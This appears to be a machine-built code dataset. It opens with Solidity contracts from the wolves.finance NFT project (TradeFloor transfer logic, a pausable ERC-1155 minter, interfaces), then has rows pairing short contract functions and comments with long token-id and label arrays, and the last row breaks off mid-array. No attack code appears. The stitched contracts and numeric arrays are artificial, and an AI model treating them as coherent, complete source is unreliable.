for (uint256 i = 0; i < length; ++i) {
if (amounts[i] == 1) {
_relinkOwner(from, to, tokenIds[i], uint256(-1));
++validLength;
}
// CryptoFolios send 0 amount!!
else require(amounts[i] == 0, 'TF: Invalid amount');
}
// On Burn we need to transfer SFT ownership back
if (validLength > 0 && to == address(0)) {
uint256[] memory sftTokenIds = new uint256[](validLength);
uint256[] memory sftAmounts = new uint256[](validLength);
validLength = 0;
for (uint256 i = 0; i < length; ++i) {
if (amounts[i] == 1) {
uint256 tokenId = tokenIds[i];
sftTokenIds[validLength] = tokenId.toSftTokenId();
sftAmounts[validLength++] = 1;
}
}
IWOWSERC1155 sftHolder = _sftHolder;
// Migration!!! Remove if all TF's are on new contract
if (
address(_sftHolderOld) != address(0) &&
_sftHolderOld.balanceOf(address(this), sftTokenIds[0]) == 1
) sftHolder = _sftHolderOld;
sftHolder.safeBatchTransferFrom(
address(this),
_msgSender(),
sftTokenIds,
sftAmounts,
''
);
}
}
/**
* @dev SFT token arrived, provide an NFT
*/
function _onTokensReceived(
address from,
uint256[] memory tokenIds,
uint256[] memory amounts,
bytes memory data
) private {
// We only support tokens from our SFT Holder contract
require(_msgSender() == address(_sftHolder), 'TF: Invalid sender');
// Validate parameters
require(tokenIds.length == amounts.length, 'TF: Lengths mismatch');
// To save gas we allow minting directly into a given recipient
address sftRecipient;
if (data.length == 20) {
sftRecipient = _getAddress(data);
require(sftRecipient != address(0), 'TF: invalid recipient');
} else sftRecipient = from;
// Update state
uint256[] memory mintedTokenIds = new uint256[](tokenIds.length);
for (uint256 i = 0; i < tokenIds.length; ++i) {
require(amounts[i] == 1, 'Amount != 1 not allowed');
uint256 mintedTokenId = _hashedTokenId(tokenIds[i]);
mintedTokenIds[i] = mintedTokenId;
// OpenSea only listens to TransferSingle event on mint
_mintAndEmit(sftRecipient, mintedTokenId);
}
_onTransfer(address(0), sftRecipient, mintedTokenIds, amounts);
}
/**
* @dev Ownership change -> update linked list owner -> tokenId
*
* If tokenIdNew is != uint256(-1) this function executes an
* ownership transfer of "from" from tokenId to tokenIdNew
* In this case "to" must be set to 0.
*/
function _relinkOwner(
address from,
address to,
uint256 tokenId,
uint256 tokenIdNew
) internal {
// Load state
TokenInfo storage tokenInfo = _tokenInfos[tokenId];
// Remove tokenId from List
if (from != address(0)) {
// Load state
Owned storage fromList = _owned[from];
// Validate state
require(fromList.count > 0, 'Count mismatch');
ListKey storage key = fromList.listKey;
uint256 count = fromList.count;
// Search the token which links to tokenId
for (; count > 0 && key.index != tokenId; --count)
key = _tokenInfos[key.index].listKey;
require(key.index == tokenId, 'Key mismatch');
if (tokenIdNew == uint256(-1)) {
// Unlink prev -> tokenId
key.index = tokenInfo.listKey.index;
// Decrement count
fromList.count--;
} else {
// replace tokenId -> tokenIdNew
key.index = tokenIdNew;
TokenInfo storage tokenInfoNew = _tokenInfos[tokenIdNew];
require(!tokenInfoNew.minted, 'Must not be minted');
tokenInfoNew.listKey.index = tokenInfo.listKey.index;
tokenInfoNew.minted = true;
}
// Unlink tokenId -> next
tokenInfo.listKey.index = 0;
require(tokenInfo.minted, 'Must be minted');
tokenInfo.minted = false;
}
// Update state
if (to != address(0)) {
Owned storage toList = _owned[to];
tokenInfo.listKey.index = toList.listKey.index;
require(!tokenInfo.minted, 'Must not be minted');
tokenInfo.minted = true;
toList.listKey.index = tokenId;
toList.count++;
}
}
/**
* @dev Get the address from the user data parameter
*
* @param data Per ERC-1155, the data parameter is additional data with no
* specified format, and is sent unaltered in the call to
* {IERC1155Receiver-onERC1155Received} on the receiver of the minted token.
*/
function _getAddress(bytes memory data) public pure returns (address addr) {
// solhint-disable-next-line no-inline-assembly
assembly {
addr := mload(add(data, 20))
}
}
/**
* @dev Save contract size by wrappng external call into an internal
*/
function _getAddressRegistryAddress(IAddressRegistry reg, bytes32 data)
private
view
returns (address)
{
return reg.getRegistryEntry(data);
}
/**
* @dev Save contract size by wrappng external call into an internal
*/
function _addressToTokenId(address tokenAddress)
private
view
returns (uint256)
{
return _sftHolder.addressToTokenId(tokenAddress);
}
/**
* @dev internal mint + event emiting
*/
function _mintAndEmit(address recipient, uint256 tokenId) private {
_mint(recipient, tokenId, 1, '');
// Rarible needs to be informed about fees
emit SecondarySaleFees(tokenId, getFeeRecipients(0), getFeeBps(0));
}
/**
* @dev Calculate a 128-bit hash for making tokenIds unique to underlying asset
*
* @param sftTokenId The tokenId from SFT contract from that we use the first 128 bit
* TokenIds in SFT contract are limited to max 128 Bit in WowsSftMinter contract.
*/
function _hashedTokenId(uint256 sftTokenId) private view returns (uint256) {
bytes memory hashData;
uint256[] memory tokenIds;
uint256 tokenIdsLength;
if (sftTokenId.isBaseCard()) {
// It's a base card, calculate hash using all cfolioItems
address cfolio = _sftHolder.tokenIdToAddress(sftTokenId);
require(cfolio != address(0), 'TF: src token invalid');
tokenIds = _sftHolder.getTokenIds(cfolio);
tokenIdsLength = tokenIds.length;
hashData = abi.encodePacked(address(this), sftTokenId);
} else {
// It's a cfolioItem itself, only calculate underlying value
tokenIds = new uint256[](1);
tokenIds[0] = sftTokenId;
tokenIdsLength = 1;
}
// Run through all cfolioItems and let their single CFolioItemHandler
// append hashable data
for (uint256 i = 0; i < tokenIdsLength; ++i) {
address cfolio = _sftHolder.tokenIdToAddress(tokenIds[i].toSftTokenId());
require(cfolio != address(0), 'TF: item token invalid');
address handler = IWOWSCryptofolio(cfolio).handler();
require(handler != address(0), 'TF: item handler invalid');
hashData = ICFolioItemCallback(handler).appendHash(cfolio, hashData);
}
uint256 hashNum = uint256(keccak256(hashData));
return (hashNum ^ (hashNum << 128)).maskHash() | sftTokenId;
}
}
/*
* Copyright (C) 2020-2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0 AND MIT
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
import '../../0xerc1155/access/AccessControl.sol';
import '../../0xerc1155/tokens/ERC1155/ERC1155Metadata.sol';
import '../../0xerc1155/tokens/ERC1155/ERC1155MintBurn.sol';
/**
* @dev Partial implementation of https://eips.ethereum.org/EIPS/eip-1155[ERC1155]
* Multi Token Standard
*/
contract WOWSMinterPauser is
Context,
AccessControl,
ERC1155MintBurn,
ERC1155Metadata
{
//////////////////////////////////////////////////////////////////////////////
// Roles
//////////////////////////////////////////////////////////////////////////////
// Role to mint new tokens
bytes32 public constant MINTER_ROLE = 'MINTER_ROLE';
//////////////////////////////////////////////////////////////////////////////
// State
//////////////////////////////////////////////////////////////////////////////
// Pause
bool private _pauseActive;
//////////////////////////////////////////////////////////////////////////////
// Events
//////////////////////////////////////////////////////////////////////////////
// Event triggered when _pause state changed
event Pause(bool active);
//////////////////////////////////////////////////////////////////////////////
// Constructor
//////////////////////////////////////////////////////////////////////////////
constructor() {}
//////////////////////////////////////////////////////////////////////////////
// Pausing interface
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Pauses all token transfers.
*
* Requirements:
*
* - The caller must have the `DEFAULT_ADMIN_ROLE`.
*/
function pause(bool active) public {
// Validate access
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), 'Only admin');
if (_pauseActive != active) {
// Update state
_pauseActive = active;
emit Pause(active);
}
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _pauseActive;
}
function _pause(bool active) internal {
_pauseActive = active;
}
//////////////////////////////////////////////////////////////////////////////
// Minting interface
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Creates `amount` new tokens for `to`, of token type `tokenId`.
*
* See {ERC1155-_mint}.
*
* Requirements:
*
* - The caller must have the `MINTER_ROLE`.
*/
function mint(
address to,
uint256 tokenId,
uint256 amount,
bytes memory data
) public virtual {
// Validate access
require(hasRole(MINTER_ROLE, _msgSender()), 'Only minter');
// Validate parameters
require(to != address(0), "Can't mint to zero address");
// Update state
_mint(to, tokenId, amount, data);
}
/**
* @dev Batched variant of {mint}.
*/
function mintBatch(
address to,
uint256[] calldata tokenIds,
uint256[] calldata amounts,
bytes calldata data
) public virtual {
// Validate access
require(hasRole(MINTER_ROLE, _msgSender()), 'Only minter');
// Validate parameters
require(to != address(0), "Can't mint to zero address");
require(tokenIds.length == amounts.length, "Lengths don't match");
// Update state
_batchMint(to, tokenIds, amounts, data);
}
//////////////////////////////////////////////////////////////////////////////
// Burning interface
//////////////////////////////////////////////////////////////////////////////
function burn(
address account,
uint256 id,
uint256 value
) public virtual {
// Validate access
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
'Caller is not owner nor approved'
);
// Update state
_burn(account, id, value);
}
function burnBatch(
address account,
uint256[] calldata ids,
uint256[] calldata values
) public virtual {
// Validate access
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
'Caller is not owner nor approved'
);
// Update state
_batchBurn(account, ids, values);
}
//////////////////////////////////////////////////////////////////////////////
// Implementation of {ERC1155}
//////////////////////////////////////////////////////////////////////////////
/**
* @dev See {ERC1155-_beforeTokenTransfer}.
*
* This function is necessary due to diamond inheritance.
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256 tokenId,
uint256 amount,
bytes memory data
) internal virtual override {
// Validate state
require(!_pauseActive, 'Transfer operation paused!');
// Call ancestor
super._beforeTokenTransfer(operator, from, to, tokenId, amount, data);
}
/**
* @dev See {ERC1155-_beforeBatchTokenTransfer}.
*
* This function is necessary due to diamond inheritance.
*/
function _beforeBatchTokenTransfer(
address operator,
address from,
address to,
uint256[] memory tokenIds,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
// Valiate state
require(!_pauseActive, 'Transfer operation paused!');
// Call ancestor
super._beforeBatchTokenTransfer(
operator,
from,
to,
tokenIds,
amounts,
data
);
}
//////////////////////////////////////////////////////////////////////////////
// Implementation of {ERC165}
//////////////////////////////////////////////////////////////////////////////
/**
* @dev See {ERC165-supportsInterface}
*/
function supportsInterface(bytes4 _interfaceID)
public
pure
virtual
override(ERC1155, ERC1155Metadata)
returns (bool)
{
return super.supportsInterface(_interfaceID);
}
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See LICENSE.txt for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
/**
* @dev Interface to receive callbacks when minted tokens are burnt
*/
interface ICFolioItemCallback {
/**
* @dev Called when a TradeFloor CFolioItem is transfered
*
* In case of mint `from` is address(0).
* In case of burn `to` is address(0).
*
* cfolioHandlers are passed to let each cfolioHandler filter for its own
* token. This eliminates the need for creating separate lists.
*
* @param from The account sending the token
* @param to The account receiving the token
* @param tokenIds The ERC-1155 token IDs
* @param cfolioHandlers cFolioItem handlers
*/
function onCFolioItemsTransferedFrom(
address from,
address to,
uint256[] calldata tokenIds,
address[] calldata cfolioHandlers
) external;
/**
* @dev Append data we use later for hashing
*
* @param cfolioItem The token ID of the c-folio item
* @param current The current data being hashes
*
* @return The current data, with internal data appended
*/
function appendHash(address cfolioItem, bytes calldata current)
external
view
returns (bytes memory);
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
/**
* @notice Cryptofolio interface
*/
interface IWOWSCryptofolio {
//////////////////////////////////////////////////////////////////////////////
// Getter
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Return the handler (CFIH) of the underlying NFT
*/
function handler() external view returns (address);
//////////////////////////////////////////////////////////////////////////////
// State modifiers
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Set the handler of the underlying NFT
*
* This function is called during I-NFT setup
*
* @param newHandler The new handler of the underlying NFT,
*/
function setHandler(address newHandler) external;
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
/**
* @notice Sft holder contract
*/
interface IWOWSERC1155 {
//////////////////////////////////////////////////////////////////////////////
// Getters
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Get the token ID of a given address
*
* A cross check is required because token ID 0 is valid.
*
* @param tokenAddress The address to convert to a token ID
*
* @return The token ID on success, or uint256(-1) if `tokenAddress` does not
* belong to a token ID
*/
function addressToTokenId(address tokenAddress)
external
view
returns (uint256);
/**
* @dev Get the address for a given token ID
*
* @param tokenId The token ID to convert
*
* @return The address, or address(0) in case the token ID does not belong
* to an NFT
*/
function tokenIdToAddress(uint256 tokenId) external view returns (address);
/**
* @dev Return the level and the mint timestamp of tokenId
*
* @param tokenId The tokenId to query
*
* @return mintTimestamp The timestamp token was minted
* @return level The level token belongs to
*/
function getTokenData(uint256 tokenId)
external
view
returns (uint64 mintTimestamp, uint8 level);
/**
* @dev Return all tokenIds owned by account
*/
function getTokenIds(address account)
external
view
returns (uint256[] memory);
/**
* @dev Returns the cFolioItemType of a given cFolioItem tokenId
*/
function getCFolioItemType(uint256 tokenId) external view returns (uint256);
/**
* @notice Get the balance of an account's Tokens
* @param owner The address of the token holder
* @param tokenId ID of the Token
* @return The _owner's balance of the token type requested
*/
function balanceOf(address owner, uint256 tokenId)
external
view
returns (uint256);
/**
* @notice Get the balance of multiple account/token pairs
* @param owners The addresses of the token holders
* @param tokenIds ID of the Tokens
* @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(
address[] calldata owners,
uint256[] calldata tokenIds
) external view returns (uint256[] memory);
//////////////////////////////////////////////////////////////////////////////
// State modifiers
//////////////////////////////////////////////////////////////////////////////
/**
* @notice Mints tokenIds into 'to' account
* @dev Emits SftTokenTransfer Event
*
* Throws if sender has no MINTER_ROLE
* 'data' holds the CFolioItemHandler if CFI's are minted
*/
function mintBatch(
address to,
uint256[] calldata tokenIds,
bytes calldata data
) external;
/**
* @notice Burns tokenIds owned by 'account'
* @dev Emits SftTokenTransfer Event
*
* Burns all owned CFolioItems
* Throws if CFolioItems have assets
*/
function burnBatch(address account, uint256[] calldata tokenIds) external;
/**
* @notice Transfers amount of an id from the from address to the 'to' address specified
* @dev Emits SftTokenTransfer Event
* Throws if 'to' is the zero address
* Throws if 'from' is not the current owner
* If 'to' is a smart contract, ERC1155TokenReceiver interface will checked
* @param from Source address
* @param to Target address
* @param tokenId ID of the token type
* @param amount Transfered amount
* @param data Additional data with no specified format, sent in call to `_to`
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
uint256 amount,
bytes calldata data
) external;
/**
* @dev Batch version of {safeTransferFrom}
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata tokenIds,
uint256[] calldata amounts,
bytes calldata data
) external;
/**
* @dev Each custom card has its own level. Level will be used when
* calculating rewards and raiding power.
*
* @param tokenId The ID of the token whose level is being set
* @param cardLevel The new level of the specified token
*/
function setCustomCardLevel(uint256 tokenId, uint8 cardLevel) external;
/**
* @dev Sets the cfolioItemType of a cfolioItem tokenId, not yet used
* sftHolder tokenId expected (without hash)
*/
function setCFolioItemType(uint256 tokenId, uint256 cfolioItemType_) external;
/**
* @dev Sets external NFT for display tokenId
* By default NFT is rendered using our internal metadata
*
* Throws if not called from MINTER role
*/
function setExternalNft(
uint256 tokenId,
address externalCollection,
uint256 externalTokenId
) external;
/**
* @dev Deletes external NFT settings
*
* Throws if not called from MINTER role
*/
function deleteExternalNft(uint256 tokenId) external;
}
/*
* Copyright (C) 2020-2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
library AddressBook {
bytes32 public constant DEPLOYER = 'DEPLOYER';
bytes32 public constant TEAM_WALLET = 'TEAM_WALLET';
bytes32 public constant MARKETING_WALLET = 'MARKETING_WALLET';
bytes32 public constant ADMIN_ACCOUNT = 'ADMIN_ACCOUNT';
bytes32 public constant UNISWAP_V2_ROUTER02 = 'UNISWAP_V2_ROUTER02';
bytes32 public constant WETH_WOWS_STAKE_FARM = 'WETH_WOWS_STAKE_FARM';
bytes32 public constant WOWS_TOKEN = 'WOWS_TOKEN';
bytes32 public constant UNISWAP_V2_PAIR = 'UNISWAP_V2_PAIR';
bytes32 public constant WOWS_BOOSTER_PROXY = 'WOWS_BOOSTER_PROXY';
bytes32 public constant REWARD_HANDLER = 'REWARD_HANDLER';
bytes32 public constant SFT_MINTER_PROXY = 'SFT_MINTER_PROXY';
bytes32 public constant SFT_HOLDER_PROXY = 'SFT_HOLDER_PROXY';
bytes32 public constant SFT_EVALUATOR_PROXY = 'SFT_EVALUATOR_PROXY';
bytes32 public constant TRADE_FLOOR_PROXY = 'TRADE_FLOOR_PROXY';
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See LICENSE.txt for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
library TokenIds {
// 128 bit underlying hash
uint256 public constant HASH_MASK = (1 << 128) - 1;
function isBaseCard(uint256 tokenId) internal pure returns (bool) {
return (tokenId & HASH_MASK) < (1 << 64);
}
function isStockCard(uint256 tokenId) internal pure returns (bool) {
return (tokenId & HASH_MASK) < (1 << 32);
}
function isCustomCard(uint256 tokenId) internal pure returns (bool) {
return
(tokenId & HASH_MASK) >= (1 << 32) && (tokenId & HASH_MASK) < (1 << 64);
}
function isCFolioCard(uint256 tokenId) internal pure returns (bool) {
return
(tokenId & HASH_MASK) >= (1 << 64) && (tokenId & HASH_MASK) < (1 << 128);
}
function toSftTokenId(uint256 tokenId) internal pure returns (uint256) {
return tokenId & HASH_MASK;
}
function maskHash(uint256 tokenId) internal pure returns (uint256) {
return tokenId & ~HASH_MASK;
}
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
interface IAddressRegistry {
/**
* @dev Set an abitrary key / address pair into the registry
*/
function setRegistryEntry(bytes32 _key, address _location) external;
/**
* @dev Get a registry enty with by key, returns 0 address if not existing
*/
function getRegistryEntry(bytes32 _key) external view returns (address);
}
| * @dev Withdraw tokenAddress ERC20token to destination A future improvement would be to swap the token into WOWS. @param tokenAddress the address of the token to transfer. Cannot be rewardToken./ Transfer token to msg.sender | function collectGarbage(address tokenAddress) external onlyAdmin {
uint256 amountToken = IERC20(tokenAddress).balanceOf(address(this));
if (amountToken > 0)
IERC20(tokenAddress).transfer(_msgSender(), amountToken);
}
| 389,975 | [
1,
1190,
9446,
1147,
1887,
4232,
39,
3462,
2316,
358,
2929,
432,
3563,
13069,
22627,
4102,
506,
358,
7720,
326,
1147,
1368,
678,
22973,
18,
225,
1147,
1887,
326,
1758,
434,
326,
1147,
358,
7412,
18,
14143,
506,
19890,
1345,
18,
19,
12279,
1147,
358,
1234,
18,
15330,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
3274,
43,
12332,
12,
2867,
1147,
1887,
13,
3903,
1338,
4446,
288,
203,
565,
2254,
5034,
3844,
1345,
273,
467,
654,
39,
3462,
12,
2316,
1887,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
565,
309,
261,
8949,
1345,
405,
374,
13,
203,
1377,
467,
654,
39,
3462,
12,
2316,
1887,
2934,
13866,
24899,
3576,
12021,
9334,
3844,
1345,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/420/0x763E8a6DdA1FCfd4420fB0F9Fa053807622857c3/sources/src/Exchanger.sol | Example for feedID = "ETH-USD": https:<mercury host>/?feedIDHex=0x2430f68ea2e8d4151992bb7fc3a4c472087a6149bf7e0232704396162ab7c1f7&L2Blocknumber=1000 | function _ccipReadURL(bytes32 feedID, uint256 commitmentBlock)
private
view
returns (string memory url)
{
return
string(
abi.encodePacked(
abi.decode(s_lookupURL, (string)),
"?feedIDStr=",
Strings.toHexString(uint256(feedID)),
"&L2Blocknumber=",
Strings.toString(commitmentBlock)
)
);
}
| 13,225,425 | [
1,
10908,
364,
4746,
734,
273,
315,
1584,
44,
17,
3378,
40,
6877,
2333,
22292,
6592,
1397,
93,
1479,
16893,
35,
7848,
734,
7037,
33,
20,
92,
3247,
5082,
74,
9470,
24852,
22,
73,
28,
72,
24,
3600,
19818,
22,
9897,
27,
7142,
23,
69,
24,
71,
9462,
3462,
11035,
69,
26,
26262,
17156,
27,
73,
3103,
1578,
27,
3028,
5520,
26,
30042,
378,
27,
71,
21,
74,
27,
10,
48,
22,
1768,
2696,
33,
18088,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
952,
625,
1994,
1785,
12,
3890,
1578,
4746,
734,
16,
2254,
5034,
23274,
1768,
13,
203,
3639,
3238,
203,
3639,
1476,
203,
3639,
1135,
261,
1080,
3778,
880,
13,
203,
565,
288,
203,
3639,
327,
203,
5411,
533,
12,
203,
7734,
24126,
18,
3015,
4420,
329,
12,
203,
10792,
24126,
18,
3922,
12,
87,
67,
8664,
1785,
16,
261,
1080,
13,
3631,
203,
10792,
18101,
7848,
734,
1585,
1546,
16,
203,
10792,
8139,
18,
869,
14866,
12,
11890,
5034,
12,
7848,
734,
13,
3631,
203,
10792,
7830,
48,
22,
1768,
2696,
1546,
16,
203,
10792,
8139,
18,
10492,
12,
7371,
475,
1768,
13,
203,
7734,
262,
203,
5411,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/56/0x3c695DB148DeC222a9f7B5bd960fc5AbA9637aCa/sources/project_/contracts/current/Libraries/MinerBasic.sol | Tax used to cost the auto executions
| uint8 internal marketingFeeVal = 4; | 11,258,128 | [
1,
7731,
1399,
358,
6991,
326,
3656,
26845,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
28,
2713,
13667,
310,
14667,
3053,
273,
1059,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
